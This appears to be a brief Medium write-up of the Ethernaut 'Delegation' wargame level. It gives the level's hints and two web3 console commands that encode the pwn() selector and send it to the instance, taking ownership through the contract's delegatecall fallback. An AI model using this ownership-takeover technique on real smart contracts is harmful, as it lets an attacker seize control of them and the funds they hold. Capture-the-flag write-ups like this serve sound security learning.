Ethernaut Level 6 — Delegation

The goal of this level is for you to claim ownership of the instance you are given.Things that might help- Look into Solidity’s documentation on the delegatecall low level function, how it works, how it can be used to delegate  operations to on-chain libraries, and what implications it has on  execution scope.- Fallback methods- Method ids
> callHash = web3.eth.abi.encodeFunctionCall({name:”pwn”, type: “function”, inputs:[]},[])‘0xdd365b8b’
> await web3.eth.sendTransaction({"to": instance, "from": player, "data": callHash})

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store